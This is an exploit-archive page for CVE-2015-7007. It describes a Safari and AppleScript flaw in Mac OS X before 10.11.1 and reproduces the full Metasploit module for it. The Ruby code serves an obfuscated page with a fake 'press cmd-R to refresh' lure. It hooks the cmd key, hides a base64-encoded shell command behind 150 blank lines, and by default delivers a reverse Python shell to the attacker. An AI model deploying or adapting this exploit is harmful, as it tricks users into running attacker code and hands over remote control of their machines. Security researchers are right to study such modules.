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Safari User-Assisted Applescript Exec Attack

Safari User-Assisted Applescript Exec Attack
Posted Oct 23, 2015
Authored by joev | Site metasploit.com

In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security and Privacy in order to avoid the unidentified Developer prompt.

tags | exploit, arbitrary
systems | apple, osx
advisories | CVE-2015-7007
MD5 | 89e9bb2d3aa0c450f7ded6ee07b500b6

Safari User-Assisted Applescript Exec Attack

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Safari User-Assisted Applescript Exec Attack',
'Description' => %q{
In versions of Mac OS X before 10.11.1, the applescript:// URL
scheme is provided, which opens the provided script in the Applescript
Editor. Pressing cmd-R in the Editor executes the code without any
additional confirmation from the user. By getting the user to press
cmd-R in Safari, and by hooking the cmd-key keypress event, a user
can be tricked into running arbitrary Applescript code.

Gatekeeper should be disabled from Security & Privacy in order to
avoid the unidentified Developer prompt.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'osx'],
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Targets' =>
[
[ 'Mac OS X', {} ]
],
'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2015',
'Author' => [ 'joev' ],
'References' =>
[
[ 'CVE', '2015-7007' ],
[ 'URL', 'https://support.apple.com/en-us/HT205375' ]
],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::SAFARI,
:os_name => OperatingSystems::Match::MAC_OSX
}
))

register_options([
OptString.new('CONTENT', [false, "Content to display in browser",
"This page has failed to load. Press cmd-R to refresh."]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
], self.class)
end

def on_request_exploit(cli, request, profile)
print_status("Sending #{self.name}")
send_response_html(cli, exploit_html)
end

def exploit_html
"<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
end

def exploit_js
js_obfuscate %Q|
var as = Array(150).join("\\n") +
'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
window.onkeydown = function(e) {
if (e.keyCode == 91) {
window.location = url;
}
};
|
end

def sh
'killall "Script Editor"; nohup ' + payload.encoded
end

def content
datastore['CONTENT']
end


end

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